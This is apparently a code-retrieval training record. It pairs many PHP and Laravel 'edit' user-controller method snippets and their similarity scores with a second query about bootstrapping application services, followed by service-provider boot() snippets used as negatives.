{\n $form = \\FormBuilder::create(UserForm::class,[\n 'url' => route('admin.users.update', ['user' => $user->id]),\n 'method' => 'PUT',\n 'model' => $user\n ]); //classe de formulario, url de ação do formulario e método http\n\n return view('admin.users.edit', compact('form'));\n }", "public function edit()\n {\n $userId = Helper::getIdFromUrl('user');\n\n Helper::checkUrlIdAgainstLoginId($userId);\n\n View::render('users/edit.view', [\n 'method' => 'POST',\n 'action' => '/user/' . $userId . '/update',\n 'user' => UserModel::load()->get($userId),\n 'roles' => RoleModel::load()->all(),\n ]);\n }", "public function edit()\n {\n $userId = Helper::getIdFromUrl('user');\n \n $user = UserModel::load()->get($userId);\n\n return View::render('users/edit.view', [\n 'method' => 'POST',\n 'action' => '/user/' . $userId . '/update',\n 'user' => $user,\n 'roles' => RoleModel::load()->all(),\n ]);\n }", "public function edit()\n {\n return view(config('const.template.user.edit'), ['user' => User::find($this->guard()->id())]);\n }", "public function edit()\n\t{\n\t\treturn view('admin.users.edit')->with('user', $this->user);\n\t}", "function edit()\n\t{\n\t\t// Find the logged-in client details\n\t\t$userId = $this->Auth->user('id');\n\t\t$user = $this->User->findById($userId);\n\n\t\t// Save the POSTed data\n\t\tif (!empty($this->data)) {\n\t\t\t$this->data['User']['id'] = $userId;\n\t\t\tif ($this->User->save($this->data)) {\n\t\t\t\t$this->Session->setFlash(__('Profile has been updated', true));\n\t\t\t\t$this->redirect(array('action' => 'index'));\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash(__('Profile could not be saved. Please, try again.', true));\n\t\t\t}\n\t\t} else {\n\t\t\t// Set the form data (display prefilled data) \n\t\t\t$this->data = $user;\n\t\t}\n\n\t\t// Set the view variable\n\t\t$this->set(compact('user'));\n\t}", "public function edit(User $user) {\n\t\t$this->accessible();\n\n\t\treturn view('users.modify', compact('user'));\n\t}", "public function edit(User $user) {\n\t\tif ($user->id != (\\Auth::user()->id))\n\t\t\treturn $this->forbiddenResponse();\n\n\t\treturn $this->innerView('edit', compact('user'));\n\t}", "public function edit($user) {\n\t\t$this->authorize('edit', $user);\n\t\treturn view(Config::get('boxtar.editUser'), compact('user'));\n\t}", "public function edit(User $user)\n {\n return view('users.form', ['user' => $user]);\n }", "public function edit(User $user)\n {\n \n }", "public function edit(User $user)\n {\n return view ('users.edit', compact('user'));\n\n }", "public function edit(User $user)\n {\n return view('users.form', compact('user'));\n }", "public function edit(UserEditFormRequest $request) {\n $user = User::findOrFail($request->id);\n $data['user'] = $user;\n Former::populate($user);\n return view('users.edit', $data );\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit(User $user)\n {\n //\n }", "public function edit()\n {\n $id = Auth::user()->id;\n $user = User::find($id);\n return view('user.edit', compact('user'));\n }", "public function edit(User $user)\n\t{\n return view('users.edit', compact('user'));\n\t}", "public function edit(User $user)\n {\n $usr=$this->getUsr();\n return view('user/edit',compact('user','usr'));\n\n }", "public function edit(User $user)\n {\n if(Auth::user()->group->id <= 1){\n $groups = UserGroups::all();\n }else{\n $groups = UserGroups::where('id', '>', 1)->get();\n }\n return view('admin.users.form',[\n 'user' => $user,\n 'title_postfix' => $user->name,\n 'navigation' => $this->navigation,\n 'groups' => $groups\n ]);\n }", "public function edit(User $user)\n {\n // return view('users.edit', compact('user'));\n }", "public function edit(User $user)\n\t{\n\t\treturn view('users.edit', compact('user'));\n\t}", "public function edit(User $user)\n\t{\n\t\treturn view('users.edit', compact('user'));\n\t}", "public function edit(User $user)\n {\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit(User $user)\n {\n //\n $this->authorize('update', $user);\n return view('users.edit', compact('user'));\n }", "public function edit($user_id)\n\t{\n\t\t//\n\t}", "public function edit(){\n\t\t\tif(isset($_POST['submit'])){\n\t\t\t\t//MAP DATA\n\t\t\t\t$user = $this->_map_posted_data();\n\t\t\t\t$user->set_user_id($_POST['id']);\n\t\t\t\t$this->userrepository->update($user);\n\t\t\t\theader(\"Location: index.php/admin/index/edit\");\n\t\t\t}else{\n\t\t\t\t$view_page = \"adminusersview/edit\";\n\t\t\t\t$id = $_GET['id'];\n\t\t\t\t$user = $this->userrepository->get_by_id($id);\n\t\t\t\tif(is_null($user)){\n\t\t\t\t\theader(\"Location: index.php/admin/index\");\n\t\t\t\t}\n\t\t\t\tinclude_once(ROOT_PATH.\"admin/views/admin/container.php\");\n\t\t\t}\n\t\t}", "public function edit(User $user)\n {\n return view('users.edit', compact('user'));\n }", "public function edit()\n {\n return view('user.edit', [\n 'user' => Auth::user()\n ]);\n }", "public function edit(User $User)\n {\n //\n }", "public function edit(User $User)\n {\n //\n }", "public function edit(User $user)\n {\n return view('users.form', [\n 'user' => $user\n ]);\n }", "public function edit(User $user)\n {\n //\n\n\n return view(\"admin.users.create\",[\n 'user'=>$user\n ]);\n }", "public function edit(User $user)\n {\n return view('admin.auth.users.edit')->with(compact('user'));\n }", "public function formUserEdit($user_id){\n // Get the user to edit\n $target_user = UserLoader::fetch($user_id); \n \n // Access-controlled resource\n if (!$this->_app->user->checkAccess('uri_users') && !$this->_app->user->checkAccess('uri_group_users', ['primary_group_id' => $target_user->primary_group_id])){\n $this->_app->notFound();\n }\n \n $get = $this->_app->request->get();\n \n if (isset($get['render']))\n $render = $get['render'];\n else\n $render = \"modal\";\n \n // Get a list of all groups\n $groups = GroupLoader::fetchAll();\n \n // Get a list of all locales\n $locale_list = $this->_app->site->getLocales();\n \n // Determine which groups this user is a member of\n $user_groups = $target_user->getGroups();\n foreach ($groups as $group_id => $group){\n $group_list[$group_id] = $group->export();\n if (isset($user_groups[$group_id]))\n $group_list[$group_id]['member'] = true;\n else\n $group_list[$group_id]['member'] = false;\n }\n \n if ($render == \"modal\")\n $template = \"components/user-info-modal.html\";\n else\n $template = \"components/user-info-panel.html\";\n \n // Determine authorized fields\n $fields = ['display_name', 'email', 'title', 'password', 'locale', 'groups', 'primary_group_id'];\n $show_fields = [];\n $disabled_fields = [];\n $hidden_fields = [];\n foreach ($fields as $field){\n if ($this->_app->user->checkAccess(\"update_account_setting\", [\"user\" => $target_user, \"property\" => $field]))\n $show_fields[] = $field;\n else if ($this->_app->user->checkAccess(\"view_account_setting\", [\"user\" => $target_user, \"property\" => $field]))\n $disabled_fields[] = $field;\n else\n $hidden_fields[] = $field;\n }\n \n // Always disallow editing username\n $disabled_fields[] = \"user_name\";\n \n // Hide password fields for editing user\n $hidden_fields[] = \"password\";\n \n // Load validator rules\n $schema = new \\Fortress\\RequestSchema($this->_app->config('schema.path') . \"/forms/user-update.json\");\n $validators = new \\Fortress\\ClientSideValidator($schema, $this->_app->translator); \n \n $this->_app->render($template, [\n \"box_id\" => $get['box_id'],\n \"box_title\" => \"Edit User\",\n \"submit_button\" => \"Update user\",\n \"form_action\" => $this->_app->site->uri['public'] . \"/users/u/$user_id\",\n \"target_user\" => $target_user,\n \"groups\" => $group_list,\n \"locales\" => $locale_list,\n \"fields\" => [\n \"disabled\" => $disabled_fields,\n \"hidden\" => $hidden_fields\n ],\n \"buttons\" => [\n \"hidden\" => [\n \"edit\", \"enable\", \"delete\", \"activate\"\n ]\n ],\n \"validators\" => $validators->formValidationRulesJson()\n ]); \n }", "public function edit(User $user)\n {\n Gate::authorize('app.users.edit');\n \n $roles = Role::all();\n return view('layouts.backend.users.form', [\n 'roles' => $roles,\n 'user' => $user,\n ]);\n }", "public function edit(\\App\\User $user)\n {\n return view('users.sysuser.edit', compact('user'));\n }", "public function edit()\n\t{\n\t\t$user = App::make('user.current');\n\t\treturn View::make('shared.user.edit-user', $user->toArray());\n\t}", "public function edit(User $user, $id)\n {\n $user = User::findOrFail($id);\n return view('editForms.editUser', [\n 'name' => Auth::user()->name,\n 'role' => Auth::user()->role,\n 'user_id' => $id,\n 'user_name' => $user->name,\n 'user_role' => $user->role\n ]);\n }", "public function edit(user $user)\n {\n //\n }", "public function edit(user $user)\n {\n //\n }", "public function edit(User $user)\n {\n try {\n return view(\"backend.users.edit\", compact('user'));\n } catch (\\Throwable $e) {\n throw $e;\n }\n }", "public function edit(User $user)\n {\n // $moderator_role = Role::findByName('moderator');\n // $user->syncRoles([$moderator_role]);\n $this->authorize('update', $user);\n return view('users.edit', compact('user'));\n }", "public function edit(User $user)\n {\n return view('admin.user.edit',['user' => $user]);\n }", "public function edit(User $user)\n {\n return view('user_management.edit', compact('user'));\n }", "public function edit()\n {\n return view('auth.user.edit')->with('user', auth()->user());\n }", "public function edit(User $user)\n {\n return View::component('EditUser', ['user' => $user->only('id', 'name', 'email', 'created_at')]);\n }", "public function edit(User $user) \n {\n return view('users.edit')->with( 'user', $user );\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit(User $user)\n {\n return view('admin.user.edit',compact('user'));\n }", "public function edit(User $user)\n {\n return view('admin.user.edit',compact('user'));\n }", "public function getPostEditUser()\n {\n // Render login page if not logged in.\n if (!$this->di->get(\"session\")->has(\"account\")) {\n $this->di->get(\"response\")->redirect(\"user/login\");\n }\n\n $title = \"Edit\";\n $view = $this->di->get(\"view\");\n $pageRender = $this->di->get(\"pageRender\");\n\n $user = new User();\n $username = $this->di->get(\"session\")->get(\"account\");\n $user->setDb($this->di->get(\"db\"));\n $user->find(\"username\", $username);\n\n $form = new EditUserForm($this->di, $user);\n\n $form->check();\n\n $data = [\n \"form\" => $form->getHTML(),\n ];\n\n $view->add(\"user/edit\", $data);\n\n $pageRender->renderPage([\"title\" => $title]);\n }", "public function edit(User $user)\n {\n return view('users.other.edit', compact('user'));\n }", "public function edit(User $user)\n {\n return view('pages.user.edit-user', compact('user'));\n }" ]
[ "0.82987076", "0.807014", "0.80538946", "0.78894466", "0.7888362", "0.78173184", "0.7793126", "0.77880865", "0.7757759", "0.7756244", "0.7726526", "0.77163297", "0.77137434", "0.76977724", "0.7694074", "0.7685219", "0.76846266", "0.765015", "0.7644359", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76420546", "0.76390666", "0.763892", "0.7605265", "0.76009595", "0.7600197", "0.75951666", "0.75951666", "0.75914955", "0.7586896", "0.75865763", "0.7584798", "0.7575153", "0.75527924", "0.75526834", "0.75497407", "0.75497407", "0.75398266", "0.75361145", "0.7535778", "0.7535598", "0.7527398", "0.7527327", "0.75125265", "0.7504459", "0.75012577", "0.75012577", "0.7498213", "0.74974954", "0.74920845", "0.749179", "0.7487337", "0.74839604", "0.74794257", "0.74627936", "0.74612725", "0.74612725", "0.7453542", "0.7451126", "0.7447314" ]
0.0
-1
Bootstrap any application services.
public function boot() { View::composer('layouts.app', GitCommitComposer::class); View::composer('*', OnboardingComposer::class); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function bootstrap(): void\n {\n if (! $this->app->hasBeenBootstrapped()) {\n $this->app->bootstrapWith($this->bootstrappers());\n }\n\n $this->app->loadDeferredProviders();\n }", "public function boot()\n {\n // Boot here application\n }", "public function bootstrap()\n {\n if (!$this->app->hasBeenBootstrapped()) {\n $this->app->bootstrapWith($this->bootstrapperList);\n }\n\n $this->app->loadDeferredProviders();\n }", "public function boot()\r\n {\r\n // Publishing is only necessary when using the CLI.\r\n if ($this->app->runningInConsole()) {\r\n $this->bootForConsole();\r\n }\r\n }", "public function boot()\n {\n $this->app->bind(IUserService::class, UserService::class);\n $this->app->bind(ISeminarService::class, SeminarService::class);\n $this->app->bind(IOrganizationService::class, OrganizationService::class);\n $this->app->bind(ISocialActivityService::class, SocialActivityService::class);\n }", "public function boot()\n {\n if ($this->booted) {\n return;\n }\n\n array_walk($this->loadedServices, function ($s) {\n $this->bootService($s);\n });\n\n $this->booted = true;\n }", "public function boot()\n {\n\n $this->app->bind(FileUploaderServiceInterface::class,FileUploaderService::class);\n $this->app->bind(ShopServiceInterface::class,ShopService::class);\n $this->app->bind(CategoryServiceInterface::class,CategoryService::class);\n $this->app->bind(ProductServiceInterface::class,ProductService::class);\n $this->app->bind(ShopSettingsServiceInterface::class,ShopSettingsService::class);\n $this->app->bind(FeedbackServiceInterface::class,FeedbackService::class);\n $this->app->bind(UserServiceInterface::class,UserService::class);\n $this->app->bind(ShoppingCartServiceInterface::class,ShoppingCartService::class);\n $this->app->bind(WishlistServiceInterface::class,WishlistService::class);\n $this->app->bind(NewPostApiServiceInterface::class,NewPostApiService::class);\n $this->app->bind(DeliveryAddressServiceInterface::class,DeliveryAddressService::class);\n $this->app->bind(StripeServiceInterface::class,StripeService::class);\n $this->app->bind(OrderServiceInterface::class,OrderService::class);\n $this->app->bind(MailSenderServiceInterface::class,MailSenderSenderService::class);\n }", "public function boot()\n {\n $this->setupConfig('delta_service');\n $this->setupMigrations();\n $this->setupConnection('delta_service', 'delta_service.connection');\n }", "public function boot()\n {\n $configuration = [];\n\n if (file_exists($file = getcwd() . '/kaleo.config.php')) {\n $configuration = include_once $file;\n }\n\n $this->app->singleton('kaleo', function () use ($configuration) {\n return new KaleoService($configuration);\n });\n }", "public function boot()\n {\n $this->shareResources();\n $this->mergeConfigFrom(self::CONFIG_PATH, 'amocrm-api');\n }", "public function boot(): void\n {\n if ($this->app->runningInConsole()) {\n $this->bootForConsole();\n }\n }", "public function boot()\n {\n // Ports\n $this->app->bind(\n IAuthenticationService::class,\n AuthenticationService::class\n );\n $this->app->bind(\n IBeerService::class,\n BeerService::class\n );\n\n // Adapters\n $this->app->bind(\n IUserRepository::class,\n UserEloquentRepository::class\n );\n $this->app->bind(\n IBeerRepository::class,\n BeerEloquentRepository::class\n );\n }", "public function boot()\n {\n $this->setupConfig($this->app);\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->loadMigrations();\n }\n if(config($this->vendorNamespace. '::config.enabled')){\n Livewire::component($this->vendorNamespace . '::login-form', LoginForm::class);\n $this->loadRoutes();\n $this->loadViews();\n $this->loadMiddlewares();\n $this->loadTranslations();\n }\n }", "public function boot()\n {\n $source = dirname(__DIR__, 3) . '/config/config.php';\n\n if ($this->app instanceof LaravelApplication && $this->app->runningInConsole()) {\n $this->publishes([$source => config_path('dubbo_cli.php')]);\n } elseif ($this->app instanceof LumenApplication) {\n $this->app->configure('dubbo_cli');\n }\n\n $this->mergeConfigFrom($source, 'dubbo_cli');\n }", "public function boot()\n {\n $this->package('domain/app');\n\n $this->setApplication();\n }", "public function boot()\n {\n $this->setUpConfig();\n $this->setUpConsoleCommands();\n }", "public function boot()\n {\n $this->strapRoutes();\n $this->strapViews();\n $this->strapMigrations();\n $this->strapCommands();\n\n $this->registerPolicies();\n }", "public function boot()\n {\n $this->app->singleton('LaraCurlService', function ($app) {\n return new LaraCurlService();\n });\n\n $this->loadRoutesFrom(__DIR__.'/routes/web.php');\n }", "public function boot()\n {\n $providers = $this->make('config')->get('app.console_providers', array());\n foreach ($providers as $provider) {\n $provider = $this->make($provider);\n if ($provider && method_exists($provider, 'boot')) {\n $provider->boot();\n }\n }\n }", "public function boot()\n {\n foreach (glob(app_path('/Api/config/*.php')) as $path) {\n $path = realpath($path);\n $this->mergeConfigFrom($path, basename($path, '.php'));\n }\n\n // 引入自定义函数\n foreach (glob(app_path('/Helpers/*.php')) as $helper) {\n require_once $helper;\n }\n // 引入 api 版本路由\n $this->loadRoutesFrom(app_path('/Api/Routes/base.php'));\n\n }", "public function bootstrap()\n {\n if (!$this->app->hasBeenBootstrapped()) {\n $this->app->bootstrapWith($this->bootstrappers());\n }\n\n //$this->app->loadDeferredProviders();\n\n if (!$this->commandsLoaded) {\n //$this->commands();\n\n $this->commandsLoaded = true;\n }\n }", "protected function boot()\n\t{\n\t\tforeach ($this->serviceProviders as $provider)\n\t\t{\n\t\t\t$provider->boot($this);\n\t\t}\n\n\t\t$this->booted = true;\n\t}", "public function boot()\n {\n $this->setupConfig();\n //register rotating daily monolog provider\n $this->app->register(MonologProvider::class);\n $this->app->register(CircuitBreakerServiceProvider::class);\n $this->app->register(CurlServiceProvider::class);\n }", "public function boot(): void\n {\n if ($this->booted) {\n return;\n }\n\n array_walk($this->services, function ($service) {\n $this->bootServices($service);\n });\n\n $this->booted = true;\n }", "public static function boot() {\n\t\tstatic::container()->boot();\n\t}", "public function boot()\n {\n include_once('ComposerDependancies\\Global.php');\n //---------------------------------------------\n include_once('ComposerDependancies\\League.php');\n include_once('ComposerDependancies\\Team.php');\n include_once('ComposerDependancies\\Matchup.php');\n include_once('ComposerDependancies\\Player.php');\n include_once('ComposerDependancies\\Trade.php');\n include_once('ComposerDependancies\\Draft.php');\n include_once('ComposerDependancies\\Message.php');\n include_once('ComposerDependancies\\Poll.php');\n include_once('ComposerDependancies\\Chat.php');\n include_once('ComposerDependancies\\Rule.php');\n\n \n include_once('ComposerDependancies\\Admin\\Users.php');\n\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n if ($this->app instanceof LaravelApplication) {\n $this->publishes([\n __DIR__.'/../config/state-machine.php' => config_path('state-machine.php'),\n ], 'config');\n } elseif ($this->app instanceof LumenApplication) {\n $this->app->configure('state-machine');\n }\n }\n }", "public function boot()\n {\n $this->bootEvents();\n\n $this->bootPublishes();\n\n $this->bootTypes();\n\n $this->bootSchemas();\n\n $this->bootRouter();\n\n $this->bootViews();\n \n $this->bootSecurity();\n }", "public function boot()\n {\n //\n Configuration::environment(\"sandbox\");\n Configuration::merchantId(\"cmpss9trsxsr4538\");\n Configuration::publicKey(\"zy3x5mb5jwkcrxgr\");\n Configuration::privateKey(\"4d63c8b2c340daaa353be453b46f6ac2\");\n\n\n $modules = Directory::listDirectories(app_path('Modules'));\n\n foreach ($modules as $module)\n {\n $routesPath = app_path('Modules/' . $module . '/routes.php');\n $viewsPath = app_path('Modules/' . $module . '/Views');\n\n if (file_exists($routesPath))\n {\n require $routesPath;\n }\n\n if (file_exists($viewsPath))\n {\n $this->app->view->addLocation($viewsPath);\n }\n }\n }", "public function boot()\n {\n resolve(EngineManager::class)->extend('elastic', function () {\n return new ElasticScoutEngine(\n ElasticBuilder::create()\n ->setHosts(config('scout.elastic.hosts'))\n ->build()\n );\n });\n }", "public function boot(): void\n {\n try {\n // Just check if we have DB connection! This is to avoid\n // exceptions on new projects before configuring database options\n // @TODO: refcator the whole accessareas retrieval to be file-based, instead of db based\n DB::connection()->getPdo();\n\n if (Schema::hasTable(config('cortex.foundation.tables.accessareas'))) {\n // Register accessareas into service container, early before booting any module service providers!\n $this->app->singleton('accessareas', fn () => app('cortex.foundation.accessarea')->where('is_active', true)->get());\n }\n } catch (Exception $e) {\n // Be quiet! Do not do or say anything!!\n }\n\n $this->bootstrapModules();\n }", "public function boot()\n {\n $this->app->register(UserServiceProvider::class);\n $this->app->register(DashboardServiceProvider::class);\n $this->app->register(CoreServiceProvider::class);\n $this->app->register(InstitutionalVideoServiceProvider::class);\n $this->app->register(InstitutionalServiceProvider::class);\n $this->app->register(TrainingServiceProvider::class);\n $this->app->register(CompanyServiceProvider::class);\n $this->app->register(LearningUnitServiceProvider::class);\n $this->app->register(PublicationServiceProvider::class);\n }", "public function boot()\n {\n Schema::defaultStringLength(191);\n\n $this->app->bindMethod([SendMailPasswordReset::class, 'handle'], function ($job, $app) {\n return $job->handle($app->make(MailService::class));\n });\n\n $this->app->bindMethod([ClearTokenPasswordReset::class, 'handle'], function ($job, $app) {\n return $job->handle($app->make(PasswordResetRepository::class));\n });\n\n $this->app->bind(AuthService::class, function ($app) {\n return new AuthService($app->make(HttpService::class));\n });\n }", "public function boot()\n {\n $this->makeRepositories();\n }", "public function boot(): void\n {\n $this->loadMiddlewares();\n }", "public function boot()\n {\n $this->app->when(ChatAPIChannel::class)\n ->needs(ChatAPI::class)\n ->give(function () {\n $config = config('services.chatapi');\n return new ChatAPI(\n $config['token'],\n $config['api_url']\n );\n });\n }", "public function boot() {\r\n\t\t$hosting_service = HostResolver::get_host_service();\r\n\r\n\t\tif ( ! empty( $hosting_service ) ) {\r\n\t\t\t$this->provides[] = $hosting_service;\r\n\t\t}\r\n\t}", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n require(__DIR__ . '/../routes/console.php');\n } else {\n // Menus for BPM are done through middleware. \n Route::pushMiddlewareToGroup('web', AddToMenus::class);\n \n // Assigning to the web middleware will ensure all other middleware assigned to 'web'\n // will execute. If you wish to extend the user interface, you'll use the web middleware\n Route::middleware('web')\n ->namespace($this->namespace)\n ->group(__DIR__ . '/../routes/web.php');\n \n // If you wish to extend the api, be sure to utilize the api middleware. In your api \n // Routes file, you should prefix your routes with api/1.0\n Route::middleware('api')\n ->namespace($this->namespace)\n ->prefix('api/1.0')\n ->group(__DIR__ . '/../routes/api.php');\n \n Event::listen(ScreenBuilderStarting::class, function($event) {\n $event->manager->addScript(mix('js/screen-builder-extend.js', 'vendor/api-connector'));\n $event->manager->addScript(mix('js/screen-renderer-extend.js', 'vendor/api-connector'));\n });\n }\n\n // load migrations\n $this->loadMigrationsFrom(__DIR__.'/../database/migrations');\n\n // Load our views\n $this->loadViewsFrom(__DIR__.'/../resources/views/', 'api-connector');\n\n // Load our translations\n $this->loadTranslationsFrom(__DIR__.'/../lang', 'api-connector');\n\n $this->publishes([\n __DIR__.'/../public' => public_path('vendor/api-connector'),\n ], 'api-connector');\n\n $this->publishes([\n __DIR__ . '/../database/seeds' => database_path('seeds'),\n ], 'api-connector');\n\n $this->app['events']->listen(PackageEvent::class, PackageListener::class);\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->bindCommands();\n $this->registerCommands();\n $this->app->bind(InstallerContract::class, Installer::class);\n\n $this->publishes([\n __DIR__.'/../config/exceptionlive.php' => base_path('config/exceptionlive.php'),\n ], 'config');\n }\n\n $this->registerMacros();\n }", "public function boot(){\r\n $this->app->configure('sdk');\r\n $this->publishes([\r\n __DIR__.'/../../resources/config/sdk.php' => config_path('sdk.php')\r\n ]);\r\n $this->mergeConfigFrom(__DIR__.'/../../resources/config/sdk.php','sdk');\r\n\r\n $api = config('sdk.api');\r\n foreach($api as $key => $value){\r\n $this->app->singleton($key,$value);\r\n }\r\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n EnvironmentCommand::class,\n EventGenerateCommand::class,\n EventMakeCommand::class,\n JobMakeCommand::class,\n KeyGenerateCommand::class,\n MailMakeCommand::class,\n ModelMakeCommand::class,\n NotificationMakeCommand::class,\n PolicyMakeCommand::class,\n ProviderMakeCommand::class,\n RequestMakeCommand::class,\n ResourceMakeCommand::class,\n RuleMakeCommand::class,\n ServeCommand::class,\n StorageLinkCommand::class,\n TestMakeCommand::class,\n ]);\n }\n }", "public function boot()\n {\n $this->app->bind(WeatherInterface::class, OpenWeatherMapService::class);\n $this->app->bind(OrderRepositoryInterface::class, EloquentOrderRepository::class);\n $this->app->bind(NotifyInterface::class, EmailNotifyService::class);\n }", "public function boot()\n {\n $this->app->bind(DateService::class,DateServiceImpl::class);\n $this->app->bind(DisasterEventQueryBuilder::class,DisasterEventQueryBuilderImpl::class);\n $this->app->bind(MedicalFacilityQueryBuilder::class,MedicalFacilityQueryBuilderImpl::class);\n $this->app->bind(RefugeCampQueryBuilder::class,RefugeCampQueryBuilderImpl::class);\n $this->app->bind(VictimQueryBuilder::class,VictimQueryBuilderImpl::class);\n $this->app->bind(VillageQueryBuilder::class,VillageQueryBuilderImpl::class);\n }", "public function boot()\n {\n\t\tif ( $this->app->runningInConsole() ) {\n\t\t\t$this->loadMigrationsFrom(__DIR__.'/migrations');\n\n//\t\t\t$this->publishes([\n//\t\t\t\t__DIR__.'/config/scheduler.php' => config_path('scheduler.php'),\n//\t\t\t\t__DIR__.'/console/CronTasksList.php' => app_path('Console/CronTasksList.php'),\n//\t\t\t\t__DIR__.'/views' => resource_path('views/vendor/scheduler'),\n//\t\t\t]);\n\n//\t\t\tapp('Revolta77\\ScheduleMonitor\\Conntroller\\CreateController')->index();\n\n//\t\t\t$this->commands([\n//\t\t\t\tConsole\\Commands\\CreateController::class,\n//\t\t\t]);\n\t\t}\n\t\t$this->loadRoutesFrom(__DIR__.'/routes/web.php');\n }", "public function boot()\n {\n $this->bootPackages();\n }", "public function boot(): void\n {\n if ($this->app->runningInConsole()) {\n $this->commands($this->load(__DIR__.'/../Console', Command::class));\n }\n }", "public function boot(): void\n {\n $this->publishes(\n [\n __DIR__ . '/../config/laravel_entity_services.php' =>\n $this->app->make('path.config') . DIRECTORY_SEPARATOR . 'laravel_entity_services.php',\n ],\n 'laravel_repositories'\n );\n $this->mergeConfigFrom(__DIR__ . '/../config/laravel_entity_services.php', 'laravel_entity_services');\n\n $this->registerCustomBindings();\n }", "public function boot()\n {\n // DEFAULT STRING LENGTH\n Schema::defaultStringLength(191);\n\n // PASSPORT\n Passport::routes(function (RouteRegistrar $router)\n {\n $router->forAccessTokens();\n });\n Passport::tokensExpireIn(now()->addDays(1));\n\n // SERVICES, REPOSITORIES, CONTRACTS BINDING\n $this->app->bind('App\\Contracts\\IUser', 'App\\Repositories\\UserRepository');\n $this->app->bind('App\\Contracts\\IUserType', 'App\\Repositories\\UserTypeRepository');\n $this->app->bind('App\\Contracts\\IApiToken', 'App\\Services\\ApiTokenService');\n $this->app->bind('App\\Contracts\\IModule', 'App\\Repositories\\ModuleRepository');\n $this->app->bind('App\\Contracts\\IModuleAction', 'App\\Repositories\\ModuleActionRepository');\n }", "public function bootstrap(): void\n {\n $globalConfigurationBuilder = (new GlobalConfigurationBuilder())->withEnvironmentVariables()\n ->withPhpFileConfigurationSource(__DIR__ . '/../config.php');\n (new BootstrapperCollection())->addMany([\n new DotEnvBootstrapper(__DIR__ . '/../.env'),\n new ConfigurationBootstrapper($globalConfigurationBuilder),\n new GlobalExceptionHandlerBootstrapper($this->container)\n ])->bootstrapAll();\n }", "public function boot()\n {\n // $this->loadTranslationsFrom(__DIR__.'/../resources/lang', 'deniskisel');\n // $this->loadViewsFrom(__DIR__.'/../resources/views', 'deniskisel');\n// $this->loadMigrationsFrom(__DIR__ . '/../database/migrations');\n // $this->loadRoutesFrom(__DIR__.'/routes.php');\n\n // Publishing is only necessary when using the CLI.\n if ($this->app->runningInConsole()) {\n $this->bootForConsole();\n }\n }", "public function boot()\n {\n $this->bootingDomain();\n\n $this->registerCommands();\n $this->registerListeners();\n $this->registerPolicies();\n $this->registerRoutes();\n $this->registerBladeComponents();\n $this->registerLivewireComponents();\n $this->registerSpotlightCommands();\n\n $this->bootedDomain();\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->registerMigrations();\n $this->registerMigrationFolder();\n $this->registerConfig();\n }\n }", "public function boot()\n {\n $this->bootModulesMenu();\n $this->bootSkinComposer();\n $this->bootCustomBladeDirectives();\n }", "public function boot(): void\n {\n $this->app->bind(Telegram::class, static function () {\n return new Telegram(\n config('services.telegram-bot-api.token'),\n new HttpClient()\n );\n });\n }", "public function boot()\n {\n\n if (! config('app.installed')) {\n return;\n }\n\n $this->loadRoutesFrom(__DIR__ . '/Routes/admin.php');\n $this->loadRoutesFrom(__DIR__ . '/Routes/public.php');\n\n $this->loadMigrationsFrom(__DIR__ . '/Database/Migrations');\n\n// $this->loadViewsFrom(__DIR__ . '/Resources/Views', 'portfolio');\n\n $this->loadTranslationsFrom(__DIR__ . '/Resources/Lang/', 'contact');\n\n //Add menu to admin panel\n $this->adminMenu();\n\n }", "public function boot()\n {\n if (! config('app.installed')) {\n return;\n }\n\n $this->app['config']->set([\n 'scout' => [\n 'driver' => setting('search_engine', 'mysql'),\n 'algolia' => [\n 'id' => setting('algolia_app_id'),\n 'secret' => setting('algolia_secret'),\n ],\n ],\n ]);\n }", "protected function bootServiceProviders()\n {\n foreach($this->activeProviders 